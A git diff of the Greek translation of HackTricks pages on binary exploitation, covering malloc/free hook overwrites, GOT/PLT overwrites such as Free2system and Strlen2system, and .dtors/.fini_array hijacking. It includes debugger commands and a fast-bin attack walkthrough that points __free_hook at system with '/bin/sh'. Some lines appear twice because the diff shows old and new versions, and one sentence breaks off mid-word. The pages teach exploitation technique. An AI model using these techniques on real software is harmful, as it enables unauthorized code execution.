Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## **Malloc Hook**
## **Αγκίστρι Malloc**
Όπως μπορείτε να δείτε στην [επίσημη σελίδα του GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), η μεταβλητή **`__malloc_hook`** είναι ένας δείκτης που δείχνει στη **διεύθυνση μιας συνάρτησης που θα κληθεί** κάθε φορά που καλείται η `malloc()` **αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc**. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα **One Gadget** για παράδειγμα και κληθεί η `malloc`, το **One Gadget θα κληθεί**.
Για να κληθεί η malloc είναι δυνατόν να περιμένετε το πρόγραμμα να την καλέσει ή με το **να καλέσετε `printf("%10000$c")`** το οποίο δεσμεύει πολλά bytes κάνοντας την `libc` να καλέσει την malloc για να τα δεσμεύσει στη στοίβα.
Περισσότερες πληροφορίες σχετικά με το One Gadget:
Περισσότερες πληροφορίες για το One Gadget στο:
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
{% endcontent-ref %}
{% hint style="warning" %}
Σημειώστε ότι οι hooks είναι **απενεργοποιημένοι για GLIBC >= 2.34**. Υπάρχουν άλλες τεχνικές που μπορούν να χρησιμοποιηθούν σε μοντέρνες εκδόσεις του GLIBC. Δείτε: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
Σημειώστε ότι τα αγκίστρια είναι **απενεργοποιημένα για GLIBC >= 2.34**. Υπάρχουν άλλες τεχνικές που μπορούν να χρησιμοποιηθούν σε μοντέρνες εκδόσεις του GLIBC. Δείτε: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% endhint %}
## Free Hook
## Αγκίστρι Free
Αυτό καταχράστηκε σε ένα από τα παραδείγματα από τη σελίδα κατάχρησης ενός γρήγορου bin μετά από την κατάχρηση ενός μη ταξινομημένου bin επίθεσης:
Αυτό καταχράστηκε σε ένα από τα παραδείγματα από τη σελίδα κατάχρησης ενός γρήγορου bin μετά από κατάχρηση ενός μη ταξινομημένου bin επίθεσης:
{% content-ref url="../libc-heap/unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md)
{% endcontent-ref %}
Είναι δυνατόν να βρείτε τη διεύθυνση του `__free_hook` αν το δυαδικό έχει σύμβολα με την ακόλουθη εντολή:
Είναι δυνατόν να βρεθεί η διεύθυνση του `__free_hook` αν το δυαδικό έχει σύμβολα με την ακόλουθη εντολή:
```bash
gef➤ p &__free_hook
```
@ -56,7 +57,7 @@ gef➤ p &__free_hook
0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144>
</code></pre>
Στην ανωτέρω διακοπή στον προηγούμενο κώδικα στο `$eax` θα βρίσκεται η διεύθυνση του free hook.
Στην προαναφερθείσα διακοπή στον προηγούμενο κώδικα, στο `$eax` θα βρίσκεται η διεύθυνση του free hook.
Τώρα πραγματοποιείται μια **επίθεση fast bin**:
@ -72,8 +73,8 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
* Αν καταφέρουμε να αποκτήσουμε ένα γρήγορο κομμάτι μεγέθους 0x200 σε αυτή τη θέση, θα είναι δυνατό να αντικαταστήσουμε ένα δείκτη συνάρτησης που θα εκτελεστεί
* Γι' αυτό, δημιουργείται ένα νέο κομμάτι μεγέθους `0xfc` και καλείται η συνάρτηση συγχώνευσης με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε ένα δείκτη προς ένα ελεύθερο κομμάτι μεγέθους `0xfc*2 = 0x1f8` στο fast bin.
* Στη συνέχεια, καλείται η συνάρτηση επεξεργασίας σε αυτό το κομμάτι για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του fast bin ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**.
* Στη συνέχεια, δημιουργείται ένα κομμάτι με μέγεθος `0x1f8` για να ανακτήσει από το fast bin το προηγούμενο άχρηστο κομμάτι, έτσι δημιουργείται ένα άλλο κομμάτι μεγέθους `0x1f8` για να αποκτήσει ένα γρήγορο κομμάτι στο **`__free_hook`** το οποίο αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**.
* Και τέλος ένα κομμάτι που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη συνάρτηση system με το `/bin/sh\x00` ως παράμετρο.
* Στη συνέχεια, δημιουργείται ένα κομμάτι μεγέθους `0x1f8` για να ανακτήσει από το fast bin το προηγούμενο άχρηστο κομμάτι, έτσι δημιουργείται ένα άλλο κομμάτι μεγέθους `0x1f8` για να αποκτήσει ένα κομμάτι fast bin στο **`__free_hook`** το οποίο αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**.
* Και τέλος ένα κομμάτι που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στο σύστημα με το `/bin/sh\x00` ως παράμετρο.
## Αναφορές

View file

@ -1,18 +1,19 @@
# WWW2Exec - GOT/PLT
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## **Βασικές Πληροφορίες**
@ -20,11 +21,11 @@
Ο **Πίνακας Παγκόσμιας Μετατόπισης (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για τη **δυναμική ενημέρωση των διευθύνσεων αυτών των εξωτερικών συμβόλων** μόλις αυτά επιλυθούν.
Κάθε καταχώρηση στο GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από το δυναμικό συνδέτη και αποθηκεύεται στο GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στο GOT, αποφεύγοντας έτσι τον χρόνο επίλυσης της διεύθυνσης ξανά.
Κάθε καταχώρηση στο GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από το δυναμικό συνδέτη και αποθηκεύεται στο GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στο GOT, αποφεύγοντας έτσι την υπερβολική καθυστέρηση της επίλυσης της διεύθυνσης ξανά.
### **PLT: Πίνακας Σύνδεσης Διαδικασίας**
Ο **Πίνακας Σύνδεσης Διαδικασίας (PLT)** λειτουργεί στενά με το GOT και λειτουργεί ως τραμπολίνα για τη διαχείριση κλήσεων σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος περνά σε μια καταχώρηση στο PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέτη για την επίλυση της διεύθυνσης της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού η διεύθυνση επιλυθεί, αποθηκεύεται στο **GOT**.
Ο **Πίνακας Σύνδεσης Διαδικασίας (PLT)** λειτουργεί στενά με το GOT και λειτουργεί ως τραμπολίνα για τη διαχείριση κλήσεων σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, η έλεγχος περνά σε μια καταχώρηση στο PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέτη για την επίλυση της διεύθυνσης της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στο **GOT**.
**Συνεπώς,** οι καταχωρήσεις GOT χρησιμοποιούνται απευθείας μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέτη.
@ -36,11 +37,11 @@
![](<../../.gitbook/assets/image (121).png>)
Παρατηρήστε πώς μετά το **φόρτωμα** του **εκτελέσιμου** στο GEF μπορείτε να **δείτε** τις **συναρτήσεις** που βρίσκονται στο **GOT**: `gef➤ x/20x 0xADDR_GOT`
Παρατηρήστε πώς μετά το **φόρτωμα** του **εκτελέσιμου** στο GEF μπορείτε **να δείτε** τις **συναρτήσεις** που βρίσκονται στο **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Χρησιμοποιώντας το GEF μπορείτε να **ξεκινήσετε** μια **συνεδρία αποσφαλμάτωσης** και να εκτελέσετε το **`got`** για να δείτε τον πίνακα got:
Χρησιμοποιώντας το GEF μπορείτε **να ξεκινήσετε** μια **συνεδρία αποσφαλμάτωσης** και να εκτελέσετε το **`got`** για να δείτε τον πίνακα got:
![](<../../.gitbook/assets/image (496).png>)
@ -50,28 +51,28 @@
Ιδανικά, θα **αντικαταστήσετε** το **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (ώστε να μπορείτε να ελέγξετε τις παραμέτρους που στέλνονται στη συνάρτηση συστήματος).
Αν **η `system`** **δεν χρησιμοποιείται** από το δυαδικό, η συνάρτηση συστήματος **δεν θα** έχει μια καταχώρηση στο PLT. Σε αυτό το σενάριο, θα **χρειαστεί να διαρρεύσετε πρώτα τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να αντικαταστήσετε το GOT για να δείχνει σε αυτή τη διεύθυνση.
Αν **η `system`** **δεν χρησιμοποιείται** από το δυαδικό, η συνάρτηση συστήματος **δεν** θα έχει μια καταχώρηση στο PLT. Σε αυτό το σενάριο, θα **χρειαστεί να διαρρεύσετε πρώτα τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να αντικαταστήσετε το GOT για να δείχνει σε αυτή τη διεύθυνση.
Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`**
## Καταχωρήσεις GOT της libc
Ο **GOT της libc** συνήθως μεταγλωττίζεται με **μερικό RELRO**, κάνοντάς το ένα καλό στόχο για αυτό υποθέτοντας ότι είναι δυνατό να βρεθεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Ο **GOT της libc** συνήθως συντάσσεται με **μερικό RELRO**, κάνοντάς το ένα καλό στόχο για αυτό υποθέτοντας ότι είναι δυνατό να βρεθεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Συνήθεις συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να αντικατασταθεί για να επιτευχθεί εκτέλεση κώδικα.
Συνήθεις συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων το GOT θα μπορούσε να αντικατασταθεί για να επιτευχθεί εκτέλεση κώδικα.
Βρείτε [**περισσότερες πληροφορίες για αυτή την τεχνική εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
## **Free2system**
### **Free2system**
Στις εκμετάλλευσεις σωρού CTF είναι συνηθισμένο να μπορείτε να ελέγχετε το περιεχόμενο των τμημάτων και σε κάποιο σημείο ακόμα να αντικαθιστάτε τον πίνακα GOT. Ένα απλό κόλπο για να πάρετε RCE αν δεν υπάρχουν διαθέσιμα gadgets είναι να αντικαταστήσετε τη διεύθυνση GOT της `free` για να δείχνει στη `system` και να γράψετε μέσα σε ένα τμήμα το `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το τμήμα απελευθερωθεί, θα εκτελέσει την `system("/bin/sh")`.
Στις εκμετάλλευσεις στο σωρό είναι συνηθισμένο να είναι δυνατό να ελέγχετε το περιεχόμενο των κομματιών και σε κάποιο σημείο ακόμα να αντικαθιστάτε τον πίνακα GOT. Ένα απλό κόλπο για να πάρετε RCE αν δεν υπάρχουν διαθέσιμα gadgets είναι να αντικαταστήσετε τη διεύθυνση GOT του `free` για να δείχνει στο `system` και να γράψετε μέσα σε ένα κομμάτι `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το κομμάτι απελευθερωθεί, θα εκτελέσει την `system("/bin/sh")`.
## **Strlen2system**
### **Strlen2system**
Μια άλλη συνηθισμένη τεχνική είναι η αντικατάσταση της **δ
Μια άλλη συνηθισμένη τεχνική είναι η αντικατάσταση της **διεύθυνσης GOT της** **`strlen`** για να δείχνει στο **`system`**, έτσι αν αυτή η συνάρτηση καλείται με είσοδο χρήστη είναι δυνατό να πε
## **Προστασίες**
Η προστασία **Full RELRO** έχει σκοπό να προστατεύσει από αυτού του είδους τεχνικές, επιλύοντας όλες τις διευθύνσεις των συναρτήσεων όταν ξεκινάει το δυαδικό αρχείο και καθιστώντας τον πίνακα **GOT** μόνο για ανάγνωση μετά από αυτό:
Η προστασία **Full RELRO** έχει σκοπό να προστατεύσει από αυτού του είδους τεχνικές, επιλύοντας όλες τις διευθύνσεις των συναρτήσεων όταν ξεκινάει το δυαδικό αρχείο και καθιστώντας τον πίνακα **GOT μόνο για ανάγνωση** μετά από αυτό:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md)
@ -82,16 +83,17 @@
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# WWW2Exec - .dtors & .fini\_array
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## .dtors
{% hint style="danger" %}
Σήμερα είναι πολύ **παράξενο να βρείτε ένα δυαδικό με μια ενότητα .dtors!**
Σήμερα είναι πολύ **παράξενο να βρείτε ένα δυαδικό αρχείο με τμήμα .dtors!**
{% endhint %}
Οι καταστροφείς είναι συναρτήσεις που **εκτελούνται πριν το πρόγραμμα τελειώσει** (μετά την επιστροφή της συνάρτησης `main`).\
Οι διευθύνσεις αυτών των συναρτήσεων αποθηκεύονται μέσα στην **`.dtors`** ενότητα του δυαδικού και επομένως, αν καταφέρετε να **γράψετε** τη **διεύθυνση** ενός **shellcode** στο **`__DTOR_END__`** , αυτό θα **εκτελεστεί** πριν το πρόγραμμα τελειώσει.
Οι διευθύνσεις αυτών των συναρτήσεων αποθηκεύονται μέσα στο **`.dtors`** τμήμα του δυαδικού αρχείου και επομένως, αν καταφέρετε να **εγγράψετε** τη **διεύθυνση** ενός **shellcode** στο **`__DTOR_END__`**, αυτό θα **εκτελεστεί** πριν το πρόγραμμα τελειώσει.
Αποκτήστε τη διεύθυνση αυτής της ενότητας με:
Λάβετε τη διεύθυνση αυτού του τμήματος με:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Συνήθως θα βρείτε τα **σήματα DTOR** **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι, αν βλέπετε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία συνάρτηση που έχει καταχωρηθεί**. Επομένως, **αντικαταστήστε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε.
Συνήθως θα βρείτε τα **σημεία DTOR** **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι, αν βλέπετε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία συνάρτηση που έχει καταχωρηθεί**. Έτσι, **αντικαταστήστε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε.
{% hint style="warning" %}
Φυσικά, πρώτα πρέπει να βρείτε ένα **σημείο για να αποθηκεύσετε το shellcode** ώστε να μπορέσετε να το καλέσετε αργότερα.
@ -47,15 +48,34 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
Σημείωσε ότι όταν εκτελείται μια συνάρτηση από το **`.fini_array`** μετακινείται στην επόμενη, έτσι δεν θα εκτελεστεί πολλές φορές (αποτρέποντας αιώνιους βρόχους), αλλά θα σας δώσει μόνο 1 **εκτέλεση της συνάρτησης** που τοποθετείται εδώ.
Σημείωσε ότι οι καταχωρήσεις στο `.fini_array` καλούνται με **αντίστροφη** σειρά, οπότε πιθανόν θέλετε να ξεκινήσετε την εγγραφή από την τελευταία.
#### Αιώνιος βρόχος
Για να εκμεταλλευτείτε το **`.fini_array`** για να έχετε έναν αιώνιο βρόχο μπορείτε να [**ελέγξετε τι έγινε εδώ**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Αν έχετε τουλάχιστον 2 καταχωρήσεις στο **`.fini_array`**, μπορείτε:
Για να καταχραστείτε το **`.fini_array`** για να πάρετε έναν αιώνιο βρόχο μπορείτε να [**ελέγξετε τι έγινε εδώ**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Αν έχετε τουλάχιστον 2 καταχωρήσεις στο **`.fini_array`**, μπορείτε:
* Χρησιμοποιήστε την πρώτη εγγραφή σας για να **καλέσετε ξανά την ευπάθεια της αυθαίρετης εγγραφής**
* Στη συνέχεια, υπολογίστε τη διεύθυνση επιστροφής στη στοίβα που αποθηκεύεται από το **`__libc_csu_fini`** (η συνάρτηση που καλεί όλες τις λειτουργίες του `.fini_array`) και τοποθετήστε εκεί τη **διεύθυνση του `__libc_csu_fini`**
* Αυτό θα κάνει το **`__libc_csu_fini`** να καλέσει ξανά τον εαυτό του εκτελώντας τις λειτουργίες του **`.fini_array`** ξανά, οι οποίες θα καλέσουν την ευάθροτη WWW λειτουργία 2 φορές: μία για την **αυθαίρετη εγγραφή** και μια για να αντικαταστήσει ξανά τη **διεύθυνση επιστροφής του `__libc_csu_fini`** στη στοίβα για να καλέσει ξανά τον εαυτό του.
* Στη συνέχεια, υπολογίστε τη διεύθυνση επιστροφής στη στοίβα που αποθηκεύεται από το **`__libc_csu_fini`** (η συνάρτηση που καλεί όλες τις συναρτήσεις του `.fini_array`) και τοποθετήστε εκεί τη **διεύθυνση του `__libc_csu_fini`**
* Αυτό θα κάνει το **`__libc_csu_fini`** να καλέσει ξανά τον εαυτό του εκτελώντας τις συναρτήσεις του **`.fini_array`** ξανά, οι οποίες θα καλέσουν την ευάθροτη WWW συνάρτηση 2 φορές: μία για την **αυθαίρετη εγγραφή** και μια για να αντικαταστήσει ξανά τη **διεύθυνση επιστροφής του `__libc_csu_fini`** στη στοίβα για να καλέσει ξανά τον εαυτό του.
{% hint style="danger" %}
Σημειώστε ότι με [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** η ενότητα **`.fini_array`** γίνεται **μόνο για ανάγνωση**.
